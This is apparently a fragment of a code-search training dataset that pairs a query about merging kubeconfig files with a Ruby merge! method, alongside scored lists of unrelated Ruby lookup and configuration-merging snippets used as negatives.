"def lookup_context; end",
"def find_by_name(name)\n binding.pry\n self.name\n end",
"def is_context?(context_name)\n @type == context_name\n end",
"def find_by_name(name)\n end",
"def resolve_namespace_of(name)\n context = nil\n while true\n ns, name = GCCXMLLoader.split_first_namespace(name)\n name = \"/#{name}\"\n break if ns == '/'\n ns = ns[0..-2]\n candidates = info.name_to_nodes[ns].find_all { |n| NAMESPACE_NODE_TYPES.include?(n.name) }\n if !context\n context = candidates.to_a.first\n else\n context = candidates.find { |node| node['context'].to_s == context }\n end\n if !context\n break\n else context = context[\"id\"].to_s\n end\n end\n return name, context\n end",
"def find_by_name(name)\n find_by('name', name)\n end",
"def find(name)\n Template.find(name)\n end",
"def fetch(context=nil)\n context.nil? ? global : named_context[context]\n end",
"def context_by_id(context_id=nil)\n if context_id.nil?\n contexts=[]\n @xbrl_content[\"context\"].each {|c| contexts << to_ctx_obj(c) }\n return contexts\n end\n\n ctx_content=nil\n @xbrl_content[\"context\"].each { |ctx| ctx_content=ctx if ctx[\"id\"]==context_id}\n $LOG.warn \" unable to find context for id [\" + context_id+\"]\" if ctx_content.nil?\n return nil if ctx_content.nil?\n return to_ctx_obj(ctx_content)\n\n end",
"def readable_context_name\r\n self.name\r\n end",
"def find_name(name)\n\t\tif @vartab[name]\n\t\t\treturn @vartab[name]\n\t\telse\n\t\t\treturn @parent.find_name(name) if @parent\n\t\tend\n\t\traise \"Variable '%s' not defined...\" % name\n\tend",
"def mainContext\n # return Context.find( context )\n return context\n end",
"def fetch(name, default = :__raise)\n @key = name\n\n @stack.each do |frame|\n # Prevent infinite recursion.\n next if frame == self\n @frame = frame\n\n # Is this frame a hash?\n hash = frame.respond_to?(:has_key?)\n\n if hash && frame.has_key?(name)\n return frame[name]\n elsif hash && frame.has_key?(name.to_s)\n @key = name.to_s\n return frame[name.to_s]\n elsif !hash && frame.respond_to?(name)\n @frame = nil\n return frame.__send__(name)\n end\n end\n\n @frame = @key = nil\n\n if default == :__raise || mustache_in_stack.raise_on_context_miss?\n raise ContextMiss.new(\"Can't find #{name} in #{@stack.inspect}\")\n else\n default\n end\n end",
"def find_template(name)\n TEMPLATES.find do |fn, _|\n fn == name || fn.split('.').first == name\n end\n end",
"def get_role_context_by_context_name(context_name)\n if isNullOrWhiteSpace(context_name)\n raise LoginRadius::Error.new, getValidationMessage('context_name')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/account/rolecontext/' + context_name\n get_request(resource_path, query_parameters, nil)\n end",
"def find_by_name(name)\n Textalk::Theme.list.select { |theme| theme.dig(:params, :component) == name }\n end",
"def find(name); end",
"def lookup_context=(_arg0); end",
"def context(context_name)\n rule_sets[context_name]\n end",
"def find(name)\n current = self\n key = name.to_sym\n while current\n if current.defs.include?(key)\n return current.defs[key]\n end\n current = current.parent\n end\n \n # TODO: use of :name here couples us to Parser too much?\n return symbol_table.fetch(key){symbol_table[:name]}\n end",
"def find(regex_key)\n open_struct = []\n @contexts.values.select{|hash| hash[:name].to_s.match(regex_key)}.each do |hash|\n open_struct << OpenStruct.new(hash)\n end\n open_struct\n end",
"def get(name)\n @all.find { |e| e.name == name.to_s || e.name == \"#{name}_engine\" }\n end",
"def lookup (key)\n\n if key.kind_of?(Class)\n @application_context.each do |k, value|\n return value if value.class == key\n end\n return nil\n end\n\n @application_context[key]\n end",
"def context(name = nil, &block)\n name ||= Helpers.generate_uuid\n # context \"created with defaults\" ... 'ContextCreatedWithDefaults'\n class_name = Helpers.to_const_name(name.to_s, PREFIX, SUFFIX)\n if const_defined?(class_name)\n klass = const_get(class_name)\n if ( klass.superclass == self rescue nil )\n warn \"duplicate context definition with the name #{name.inspect} \" +\n \"found at #{caller.first} it is going to be merged with \" +\n \"the previous context definition\"\n else\n raise \"could not create a context with the name #{name.inspect} \" +\n \"as a constant #{class_name} is already defined and is not \" +\n \"another context definition\"\n end\n else\n klass = Class.new(self)\n klass.extend Test::Unit::Context\n klass.context_name = name\n # NOTE: make sure by default we run \"inherited\" setup/teardown hooks\n # unless context code does re-define the hook method e.g. `def setup`\n # instead of using the `setup do` or the setup method marker syntax :\n klass.class_eval do\n def setup; super; end\n def cleanup; super; end\n def teardown; super; end\n end\n const_set(class_name, klass)\n end\n context_definitions << klass\n klass.class_eval(&block)\n klass\n end",
"def context(name=nil, parent=self, &block)\n c = Class.new(parent)\n c.send(:include, Kintama::Context)\n c.name = name.to_s if name\n c.definition = find_definition(&block)\n c.class_eval(&block) if block\n c\n end",
"def find_negotiate_context(type)\n negotiate_context_list.find { |nc| nc.context_type == type }\n end",
"def search_local(name)\n if variable = variables[name]\n return variable.nested_reference\n end\n\n if variable = search_scopes(name)\n variables[name] = variable\n return variable.nested_reference\n end\n end",
"def find_object(name); end",
"def find_resource!(type, name, run_context: self.run_context)\n raise ArgumentError, \"find_resource! does not take a block\" if block_given?\n\n run_context.resource_collection.find(type => name)\n end",
"def lookup_template(name)\n @templates.fetch(name.to_s) { |k| @parent ? @parent.lookup_template(k) : nil }\n end",
"def lookup(name)\n all.lookup(name)\n end",
"def search_local(name)\n if variable = variables[name]\n return variable.nested_reference\n end\n\n if variable = search_scopes(name)\n variables[name] = variable\n return variable.nested_reference\n end\n end",
"def lookup(name)\n begin\n eval(sanitize(name));\n rescue NameError\n return nil\n end\n end",
"def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end",
"def get(name)\n lookup(key(name.to_s))\n end",
"def _find_context_by_params(path, verb, params)\n (stub[path][verb].find { |_, spec| spec['request'] == params } || []\n ).first\n end",
"def context_for_item(item_name)\n contexts=[]\n items = item(item_name)\n items.each {|item| contexts << item.context}\n return contexts\n end",
"def context(args)\n context = args.delete(:context)\n context || @my\n end",
"def find(name)\n instances.find { |instance| instance.name == (name) }\n end",
"def find_by_name\n not_found and return if params[:id].blank?\n\n name = controller_name.singularize\n cond = \"find\" + (params[:id] =~ /\\A\\d+(-.+)?\\Z/ ? \"\" : \"_by_name\")\n not_found and return unless instance_variable_set(\"@#{name}\", resource_base.send(cond, params[:id]))\n end",
"def find_matching_template(context_node)\n @templates.find {|tpl| tpl===context_node}\n end",
"def context(name, &blk)\n if Shoulda::Context.current_context\n Shoulda::Context.current_context.context(name, &blk)\n else\n context = Shoulda::Context::Context.new(name, self, &blk)\n context.build\n end\n end",
"def find_module_named(name)\n res = @modules[name] || @classes[name]\n return res if res\n return self if self.name == name\n find_enclosing_module_named name\n end",
"def find_module_named(name)\n res = @modules[name] || @classes[name]\n return res if res\n return self if self.name == name\n find_enclosing_module_named name\n end",
"def resolve\n @context.module(@name)\n end",
"def lookup_global_silent(param)\n @context.find_global_scope.to_hash[param]\nend",
"def find name\n object = objects.find { |o| o.name == name.to_s }\n end",
"def find_resource(type, name)\n begin\n return resource_collection.lookup(\"#{type}[#{name}]\")\n rescue Chef::Exceptions::ResourceNotFound; end\n\n resource_collection.all_resources.find do |resource|\n resource_name(resource) == type && (name === resource.identity || name === resource.name)\n end\n end",
"def find_by_name(name = nil, &block)\n all.find { |p| p.name == name.to_s }\n end",
"def context(name, &blk)\n if Shoulda.current_context\n Shoulda.current_context.context(name, &blk)\n else\n context = Shoulda::Context.new(name, self, &blk)\n context.build\n end\n end",
"def find(name)\n m = match(name)\n m.count == 1 ? m[0] : nil\n end",
"def ctab_lookup(name)\n tn = TableName.new(CompilerCatalogTable::COMPILERSCOPE,name)\n ret = Table.find_table(tn)\n raise(\"parser table #{name} not found in catalog\") if ret.nil?\n return ret\n end",
"def lookup_resource(type, name, run_context)\n begin\n run_context.resource_collection.find(\"#{ type }[#{ name }]\")\n rescue ArgumentError => e\n puts \"You provided invalid arugments to resource_collection.find: #{ e }\"\n rescue RuntimeError => e\n puts \"The resources you searched for were not found: #{ e }\"\n end\n end",
"def lookup_value(key, context=nil)\n [named_context[context] || {}, global].map {|c| c[key]}.compact.first\n end",
"def context_at_location(uri, position)\n code_file = code_file_for_uri(uri)\n code_file&.context_at_location(position)\n end",
"def context\n Thread.current[NAME] ||= Hash.new\n end",
"def get_lookup(name)\n @lookups = {} unless defined?(@lookups)\n @lookups[name] = spawn_lookup(name) unless @lookups.include?(name)\n @lookups[name]\n end",
"def find_by_name(id)\n end",
"def find_var(name, depth = 0)\n if slot = @variables[name]\n LocalReference.new(slot, depth)\n else\n @parent.find_var(name, depth)\n end\n end",
"def find_by_service_name(name)\n service = locator.find_by_name(name)\n service['credentials'] if service\n end",
"def find_by_namespace(name, base = nil, context = nil) # :nodoc:\n lookups = []\n lookups << \"#{base}:#{name}\" if base\n lookups << \"#{name}:#{context}\" if context\n\n unless base || context\n unless name.to_s.include?(?:)\n lookups << \"#{name}:#{name}\"\n lookups << \"rails:#{name}\"\n end\n lookups << \"#{name}\"\n end\n\n lookup(lookups)\n\n namespaces = subclasses.index_by(&:namespace)\n lookups.each do |namespace|\n klass = namespaces[namespace]\n return klass if klass\n end\n\n invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)\n end",
"def within(sub_context_name)\n # Find the subcontext definitaion:\n context_def = @sub_context_defs[sub_context_name.to_s]\n raise \"No sub-context named #{sub_context_name}\" unless context_def\n # Instantiate a new context using self as parent:\n context = Context.new( context_def, self )\n\n yield context\n end",
"def in_context(context); end",
"def get_context_var(group, key, context = @context)\n context[\"#{group}::#{key}\"]\n end",
"def current_context_for(*args)\n ::Fiveruns::Dash.sync { context_finder.call(*args) }\n end",
"def tree_lookup(name)\n @pairs[name]\n end",
"def find(name)\n list[name]\n end",
"def find_by_name( name )\n\t\t\tnamed_message = nil\n\t\t\[email protected] do |message|\n\t\t\t\tif message.descriptor.name == name\n\t\t\t\t\tnamed_message = message\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn named_message\n\t\tend",
"def find_item (name)\n\tnamespace = self\n\twhile namespace\n\t break if namespace.has_key? name\n\t namespace = namespace.parent\n\tend\n\tnamespace\n end",
"def find_by_token(name, token)\n token = find_token(:name => \"#{name}\", :token => token)\n token.object if token\n end",
"def lookup(name)\n @index.fetch(name) do\n yield\n end\n end",
"def find_constant_named(name)\n @constants.find {|m| m.name == name}\n end",
"def find_by_name(name)\n return nil unless name.present?\n names.select {|e| e == name}\n end",
"def find_token_by_name(name)\n self.tokens.where(name: name.to_s).first\n end",
"def find_state_by_name(name)\n find_task_by_name(\"#{name}_state\")\n end",
"def find_object(name)\n @search_paths.unshift(@cache[name]) if @cache[name]\n @search_paths.unshift(Registry.yardoc_file)\n\n # Try to load it from in memory cache\n log.debug \"Searching for #{name} in memory\"\n obj = try_load_object(name, nil)\n return obj if obj\n\n log.debug \"Searching for #{name} in search paths\"\n @search_paths.each do |path|\n next unless File.exist?(path)\n log.debug \"Searching for #{name} in #{path}...\"\n Registry.load(path)\n obj = try_load_object(name, path)\n return obj if obj\n end\n nil\n end",
"def find_by_name(name)\n # this works because of `def item.=='\n item = @set.find { |c| c == name }\n item\n end",
"def find_constant_named(name)\n @constants.find do |m|\n m.name == name || m.full_name == name\n end\n end",
"def find_module_named(name)\n find_class_or_module(name)\n end",
"def find(name)\n name = resolve(name)\n prefix = active\n while prefix.pop\n result = @seen[prefix + name]\n return result if result\n end\n {}\n end",
"def find_by_name(name)\n types[name]\n end"
] | [
"0.7527323",
"0.74564314",
"0.74564314",
"0.74564314",
"0.73732835",
"0.71883076",
"0.70946884",
"0.6899789",
"0.68435174",
"0.6701483",
"0.6664049",
"0.6497692",
"0.6373146",
"0.6300179",
"0.62609595",
"0.6151059",
"0.6093415",
"0.607803",
"0.607803",
"0.607803",
"0.5961543",
"0.59421843",
"0.5902176",
"0.5894367",
"0.5855108",
"0.58352864",
"0.58029586",
"0.57942486",
"0.5777671",
"0.57765156",
"0.57715243",
"0.577067",
"0.57636124",
"0.5758958",
"0.57534754",
"0.57483923",
"0.5700496",
"0.56555355",
"0.56492907",
"0.56272924",
"0.562564",
"0.5591322",
"0.55545276",
"0.5550213",
"0.55458283",
"0.55443496",
"0.5541495",
"0.5541419",
"0.55385345",
"0.5530358",
"0.552378",
"0.55236775",
"0.5510589",
"0.5508662",
"0.5508163",
"0.5504943",
"0.5496541",
"0.5495319",
"0.54641896",
"0.5452627",
"0.5450704",
"0.5450416",
"0.5450416",
"0.5442132",
"0.54409957",
"0.54393107",
"0.5435968",
"0.5431846",
"0.5429039",
"0.5428615",
"0.5420039",
"0.54158556",
"0.5415832",
"0.54028445",
"0.539282",
"0.53925496",
"0.5389956",
"0.537718",
"0.535637",
"0.53534126",
"0.53515065",
"0.5345045",
"0.5344958",
"0.5331632",
"0.5329058",
"0.5328034",
"0.5318888",
"0.5318428",
"0.5309918",
"0.53056794",
"0.53009385",
"0.529015",
"0.5289867",
"0.5287422",
"0.5284017",
"0.52727413",
"0.5249723",
"0.52420783",
"0.52373374",
"0.5233447"
] | 0.72198105 | 5 |
Merge another kubeconfig into this one, following the merging rules listed in the specifications | def merge!(other)
other.each do |k, v|
if v.is_a?(Array)
v.each do |value|
send(k) << value.dup unless send("named_#{k[0..-2]}", value.name)
end
elsif send(k).nil?
send("#{k}=", v)
end
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n config[key] << other_value\n end\n when 'current-context', 'preferences'\n config[key] = value\n else\n config[key] ||= value\n end\n end\n\n self\n end",
"def merge_configurations cfg,cfg2\n cfg['prefix']||=cfg2['prefix']\n raise \"Attempting to merge configurations with differing prefixes: '#{cfg['prefix']}' vs. '#{cfg2['prefix']}' \" if cfg['prefix']!=cfg2['prefix']\n cfg['include']||=[]\n cfg['depend']||=[]\n cfg['interface']||=[]\n cfg['include']+=cfg2['include'] if cfg2['include']\n cfg['depend']+=cfg2['depend'] if cfg2['depend']\n cfg['interface']+=cfg2['interface'] if cfg2['interface']\n return cfg\nend",
"def merge_configs\n # Update our original_config - if someone has created a knife command\n # instance directly, they are likely ot have set cmd.config values directly\n # as well, at which point our saved original config is no longer up to date.\n @original_config = config.dup\n # other code may have a handle to the config object, so use Hash#replace to deliberately\n # update-in-place.\n config.replace(config_file_defaults.merge(default_config).merge(config_file_settings).merge(config))\n end",
"def merge!(another)\n configs = self.configs\n another.each_pair do |key, value|\n if config = configs[key]\n config.set(receiver, value)\n else\n store[key] = value\n end\n end\n self\n end",
"def merge!(other)\n return self if other.nil?\n\n my_keys = @ini.keys\n other_keys = case other\n when IniFile\n other.instance_variable_get(:@ini).keys\n when Hash\n other.keys\n else\n raise Error, \"cannot merge contents from '#{other.class.name}'\"\n end\n\n (my_keys & other_keys).each do |key|\n case other[key]\n when Hash\n @ini[key].merge!(other[key])\n when nil\n nil\n else\n raise Error, \"cannot merge section #{key.inspect} - unsupported type: #{other[key].class.name}\"\n end\n end\n\n (other_keys - my_keys).each do |key|\n @ini[key] = case other[key]\n when Hash\n other[key].dup\n when nil\n {}\n else\n raise Error, \"cannot merge section #{key.inspect} - unsupported type: #{other[key].class.name}\"\n end\n end\n\n self\n end",
"def merge_configs\n # Apply config file settings on top of mixlib-cli defaults\n combined_config = default_config.merge(config_file_settings)\n # Apply user-supplied options on top of the above combination\n combined_config = combined_config.merge(config)\n # replace the config hash from mixlib-cli with our own.\n # Need to use the mutate-in-place #replace method instead of assigning to\n # the instance variable because other code may have a reference to the\n # original config hash object.\n config.replace(combined_config)\n end",
"def merge(cfg_file)\n cfg = read_configuration(cfg_file)\n list_keys, = *keys\n cfg.each_key do |k|\n if @config.keys.include?(k) && list_keys.include?(k)\n @config[k] += cfg[k]\n else\n # last one wins\n @config[k] = cfg[k]\n end\n end\n @configuration_files << cfg_file\n end",
"def merge(other, namespace: nil, &block)\n if namespace\n _container.merge!(\n other._container.each_with_object(::Concurrent::Hash.new) { |(key, item), hsh|\n hsh[PREFIX_NAMESPACE.call(namespace, key, config)] = item\n },\n &block\n )\n else\n _container.merge!(other._container, &block)\n end\n\n self\n end",
"def update_config(current, new)\n current.merge! new\n end",
"def configuration_deep_merge(_key, oldval, newval)\n if oldval.is_a?(Hash) && newval.is_a?(Hash)\n oldval.merge(newval, &method(:configuration_deep_merge))\n else\n Array(oldval) + Array(newval)\n end\n end",
"def merge!(config)\n self.compiled = false\n self.resource_class ||= config.resource_class\n transforms_from.merge! config.transforms_from\n transforms_to.merge! config.transforms_to\n custom_serializers.merge! config.custom_serializers\n namespaces.merge! config.namespaces\n facets.merge! config.facets #TODO --jdc change to a deep_merge!\n extensions.merge! config.extensions\n\n self\n end",
"def deep_merge!(hash_or_config)\n return self if hash_or_config.nil?\n other_config = convert hash_or_config\n other_config.each do |key, other_value|\n value = has_key?(key) && self[key]\n self[key] = if ConfigNode === value && ConfigNode === other_value\n value.deep_merge!(other_value)\n elsif ConfigNode === value && other_value.nil?\n self[key]\n else\n other_value\n end\n end\n self\n end",
"def merge_config!(data, conf)\n # Catch edge-cases\n return if data.nil? || conf.nil?\n # Step through all conf items and create combined return value\n data.merge!(conf) do |_, v1, v2|\n if v1.is_a?(Array) && v2.is_a?(Array)\n # If both the data field and the conf field are arrays, then combine them\n v1 + v2\n elsif v1.is_a?(Hash) && v2.is_a?(Hash)\n # If both the data field and the conf field are maps, then deep merge them\n merge_config!(v1, v2)\n else\n # All other cases, just use the new value (regular merge behavior)\n v2\n end\n end\n end",
"def config_merge(config)\n @config.merge!(config)\n end",
"def merge_config_layers(*config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config) do |key, val1, val2|\n case key\n # Shallow merge config for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORT_CONFIG.keys\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow merged\n when 'apply-settings', 'log', 'plugin-hooks', 'puppetdb', 'puppetdb-instances'\n val1.merge(val2)\n # Disabled warnings are concatenated\n when 'disable-warnings'\n val1.concat(val2)\n when 'analytics'\n val1 && val2\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end",
"def merge!( other )\n my_keys = @ini.keys\n other_keys =\n case other\n when IniFile; other.instance_variable_get(:@ini).keys\n when Hash; other.keys\n else raise \"cannot merge contents from '#{other.class.name}'\" end\n\n (my_keys & other_keys).each do |key|\n @ini[key].merge!(other[key])\n end\n\n (other_keys - my_keys).each do |key|\n @ini[key] = other[key]\n end\n\n self\n end",
"def extend!(other)\n # Any image_registries entry in |self| should take precedence\n # over any identical key in |other|. The behavior of merge is that\n # the 'other' hash wins.\n @image_registries = other.image_registries.merge(@image_registries)\n\n # Same behavior as above for #default_flags.\n @default_flags = other.default_flags.merge(@default_flags)\n\n # artifacts should be merged by 'name'. In other words, if |self| and |other|\n # specify the same 'name' of a registry, self's config for that registry\n # should win wholesale (no merging of flags.)\n @artifacts = (@artifacts + other.artifacts).uniq { |h| h.fetch('name') }\n\n # Same behavior as for flags and registries, but the flags within the flavor\n # are in a Hash, so we need a deep merge.\n @flavors = other.flavors.deep_merge(@flavors)\n\n # A break from the preceding merging logic - Dependent hooks have to come\n # first and a given named hook can only be run once. But seriously, you\n # probably don't want to make a library that specifies hooks.\n @hooks = (other.hooks + @hooks).uniq\n\n @expiration = (@expiration + other.expiration).uniq { |h| h.fetch('repository') }\n end",
"def merge!(other)\n other.read_present.each do |k, v|\n write(k, v)\n end\n\n self\n end",
"def merge other\n raise \"must be a #{self.class.name}\" unless self.class === other\n err = Fiddle::Pointer[0]\n rv = Wrapper.msc_rules_merge rules_ptr, other.rules_ptr, err.ref\n @rule_count += rv\n raise Error, err.to_s if rv < 0\n self\n end",
"def merge(other)\n super.tap do |result|\n other_networks = other.instance_variable_get(:@__networks)\n\n result.instance_variable_set(:@__networks, @__networks.merge(other_networks))\n\n # Merge defined VMs by first merging the defined VM keys,\n # preserving the order in which they were defined.\n other_defined_vm_keys = other.instance_variable_get(:@__defined_vm_keys)\n other_defined_vm_keys -= @__defined_vm_keys\n new_defined_vm_keys = @__defined_vm_keys + other_defined_vm_keys\n\n # Merge the actual defined VMs.\n other_defined_vms = other.instance_variable_get(:@__defined_vms)\n new_defined_vms = {}\n\n @__defined_vms.each do |key, subvm|\n new_defined_vms[key] = subvm.clone\n end\n\n other_defined_vms.each do |key, subvm|\n if !new_defined_vms.key?(key)\n new_defined_vms[key] = subvm.clone\n else\n new_defined_vms[key].config_procs.concat(subvm.config_procs)\n new_defined_vms[key].options.merge!(subvm.options)\n end\n end\n\n # Merge the providers by prepending any configuration blocks we\n # have for providers onto the new configuration.\n other_providers = other.instance_variable_get(:@__providers)\n new_providers = @__providers.dup\n other_providers.each do |key, blocks|\n new_providers[key] ||= []\n new_providers[key] += blocks\n end\n\n # Merge the provider ordering. Anything defined in our CURRENT\n # scope is before anything else.\n other_order = other.instance_variable_get(:@__provider_order)\n new_order = @__provider_order.dup\n new_order = (new_order + other_order).uniq\n\n # Merge the provider overrides by appending them...\n other_overrides = other.instance_variable_get(:@__provider_overrides)\n new_overrides = @__provider_overrides.dup\n other_overrides.each do |key, blocks|\n new_overrides[key] ||= []\n new_overrides[key] += blocks\n end\n\n # Merge provisioners. First we deal with overrides and making\n # sure the ordering is good there. Then we merge them.\n new_provs = []\n other_provs = other.provisioners.dup\n @provisioners.each do |p|\n other_p = other_provs.find { |o| p.id == o.id }\n if other_p\n # There is an override. Take it.\n other_p.config = p.config.merge(other_p.config)\n other_p.run ||= p.run\n next if !other_p.preserve_order\n\n # We're preserving order, delete from other\n p = other_p\n other_provs.delete(other_p)\n end\n\n # There is an override, merge it into the\n new_provs << p.dup\n end\n other_provs.each do |p|\n new_provs << p.dup\n end\n result.instance_variable_set(:@provisioners, new_provs)\n\n # Merge synced folders.\n other_folders = other.instance_variable_get(:@__synced_folders)\n new_folders = {}\n @__synced_folders.each do |key, value|\n new_folders[key] = value.dup\n end\n\n other_folders.each do |id, options|\n new_folders[id] ||= {}\n new_folders[id].merge!(options)\n end\n\n result.instance_variable_set(:@__defined_vm_keys, new_defined_vm_keys)\n result.instance_variable_set(:@__defined_vms, new_defined_vms)\n result.instance_variable_set(:@__providers, new_providers)\n result.instance_variable_set(:@__provider_order, new_order)\n result.instance_variable_set(:@__provider_overrides, new_overrides)\n result.instance_variable_set(:@__synced_folders, new_folders)\n end\n end",
"def merge_config!(config = {})\n self.config.url = config[:url] if config.key?(:url)\n self.config.opts = config[:opts] if config.key?(:opts)\n self.config.db = config[:db] if config.key?(:db)\n end",
"def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend",
"def merge(other)\n result = self.class.new\n\n # Set all of our instance variables on the new class\n [self, other].each do |obj|\n obj.instance_variables.each do |key|\n # Ignore keys that start with a double underscore. This allows\n # configuration classes to still hold around internal state\n # that isn't propagated.\n if !key.to_s.start_with?(\"@__\")\n result.instance_variable_set(key, obj.instance_variable_get(key))\n end\n end\n end\n\n result\n end",
"def merge_config_data(config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config[:data]) do |key, val1, val2|\n case key\n # Plugin config is shallow merged for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORTS.keys.map(&:to_s)\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow mergeed\n when 'puppetdb', 'plugin_hooks', 'apply_settings', 'log'\n val1.merge(val2)\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end",
"def +(other_config)\n result = self.copy\n Config.variables.each { |v|\n other_value = other_config.send(v.to_s)\n next unless other_value != nil and other_value != Config.variable_default(v)\n result.send(v.to_s + \"=\", other_value)\n }\n result\n end",
"def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend",
"def merge_conf_file!(result, conf_file_path)\n # parse conf file\n conf = Fwissr.parse_conf_file(conf_file_path)\n if conf\n conf_file_name = ::File.basename(conf_file_path, ::File.extname(conf_file_path))\n\n result_part = result\n\n unless TOP_LEVEL_CONF_FILES.include?(conf_file_name) || @options['top_level']\n # merge conf at the correct place in registry\n #\n # eg: my_app.json => /my_app\n # my_app.database.yml => /my_app/database\n # my_app.database.slave.yml => /my_app/database/slave\n key_ary = conf_file_name.split('.')\n key_ary.each do |key_part|\n result_part = (result_part[key_part] ||= { })\n end\n end\n\n Fwissr.merge_conf!(result_part, conf)\n else\n raise \"Failed to parse conf file: #{conf_file_path}\"\n end\n end",
"def merge_with_default(config, config_file, unset_nil:); end",
"def merge!(other)\n # @todo: use specific exception\n raise Exception, \"Cannot merge\" unless self.class == other.class &&\n coll_name == other.coll_name &&\n db_name == other.db_name\n @spec[batch_key] += other.spec[batch_key]\n @spec[:indexes] = indexes + other.indexes\n self\n end",
"def merge_with_default(config, config_file, unset_nil:)\n default_configuration = ConfigLoader.default_configuration\n\n disabled_by_default = config.for_all_cops['DisabledByDefault']\n enabled_by_default = config.for_all_cops['EnabledByDefault']\n\n if disabled_by_default || enabled_by_default\n default_configuration = transform(default_configuration) do |params|\n params.merge('Enabled' => !disabled_by_default)\n end\n end\n\n config = handle_disabled_by_default(config, default_configuration) if disabled_by_default\n\n opts = { inherit_mode: config['inherit_mode'] || {},\n unset_nil: unset_nil }\n Config.new(merge(default_configuration, config, **opts), config_file)\n end",
"def merge_with_default(config, config_file, unset_nil: true)\n resolver.merge_with_default(config, config_file, unset_nil: unset_nil)\n end",
"def merge(other = {})\n branch default_options.merge(other)\n end",
"def merge(other)\n schema(other.keys)\n end",
"def merge!(other)\n @options[:last_received_time] = other.last_received_time\n @options[:idle] = other.idle\n @options[:next_directive] = other.next_directive\n @options[:next_method] = other.next_method\n @options[:data] = other.data\n @options[:parse_next] = other.parse_next\n end",
"def merge(other); end",
"def merge_options!(machine_options)\n @config = Cheffish::MergedConfig.new(\n { machine_options: machine_options },\n @config\n )\n @config = deep_symbolize(@config.to_h)\n end",
"def merge!(other)\n update!(other.value)\n end",
"def merge!(other)\n @hooks.merge!(other.dup.hooks) do |key, v1, v2|\n merge_arrays(v1, v2)\n end\n\n self\n end",
"def merge(other)\n @options[:last_received_time] ||= other.last_received_time\n @options[:idle] ||= other.idle\n @options[:next_directive] ||= other.next_directive\n @options[:next_method] ||= other.next_method\n @options[:data] ||= other.data\n @options[:parse_next] ||= other.parse_next\n end",
"def merge(other)\n @scheme = other.scheme unless other.scheme.nil?\n @workspace = other.workspace unless other.workspace.nil?\n @target = other.target unless other.target.nil?\n @suffix = other.suffix unless other.suffix.nil?\n @reporter = other.reporter unless other.reporter.nil?\n @xctool_path = other.xctool_path unless other.xctool_path.nil?\n @project = other.project unless other.project.nil?\n \n return self\n end",
"def owncloud_config_update\n owncloud_config.merge(owncloud_cookbook_config)\n owncloud_config.write\n owncloud_config\n end",
"def merge!(other); end",
"def merge_for_put(current)\n new_version = DeepDup.deep_dup(@document)\n\n if current[\"metadata\"]\n new_version[\"metadata\"][\"selfLink\"] = current[\"metadata\"][\"selfLink\"] if current[\"metadata\"][\"selfLink\"]\n new_version[\"metadata\"][\"uid\"] = current[\"metadata\"][\"uid\"] if current[\"metadata\"][\"uid\"]\n new_version[\"metadata\"][\"resourceVersion\"] = current[\"metadata\"][\"resourceVersion\"] if current[\"metadata\"][\"resourceVersion\"]\n end\n\n if current[\"spec\"]\n new_version[\"spec\"] = {} if !new_version[\"spec\"]\n\n # handle spec.clusterIP\n if new_version[\"spec\"][\"clusterIP\"] && new_version[\"spec\"][\"clusterIP\"] != current[\"spec\"][\"clusterIP\"]\n raise ArgumentError, \"#{@source_file}: Tried to modify spec.clusterIP from #{current[\"spec\"][\"clusterIP\"]} to #{new_version[\"spec\"][\"clusterIP\"]} but the field is immutable\"\n end\n new_version[\"spec\"][\"clusterIP\"] = current[\"spec\"][\"clusterIP\"] if current[\"spec\"][\"clusterIP\"]\n\n end\n\n @preserve_current_values.each do |jsonpath_query|\n jp = JsonPath.new(jsonpath_query)\n current_value = jp.on(current)\n if current_value.length > 1\n raise ArgumentError, \"#{@source_file}: A JSONPath query \\\"#{jsonpath_query}\\\" matched more than one element: #{current_value}. This is not allowed because it should be used to preserve the current value in the Kubernets API server for the property.\"\n end\n\n new_value = jp.on(new_version)\n if new_value.length > 1\n raise ArgumentError, \"#{@source_file}: A JSONPath query \\\"#{jsonpath_query}\\\" matched more than one element: #{new_value}. This is not allowed because it should be used to preserve the current value in the Kubernets API server for the property.\"\n end\n\n if current_value.first != new_value.first\n new_version = JsonPath.for(new_version).gsub(jsonpath_query) { |proposed_value| current_value.first }.to_hash\n end\n end\n\n return new_version\n end",
"def import(another)\n merge! configs.import(another)\n end",
"def merge!( other )\n if other.is_a?( UniMap )\n put_all( other )\n else\n other.each do |k,v|\n set( k, v ) unless v.nil?\n end\n end\n self\n end",
"def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end",
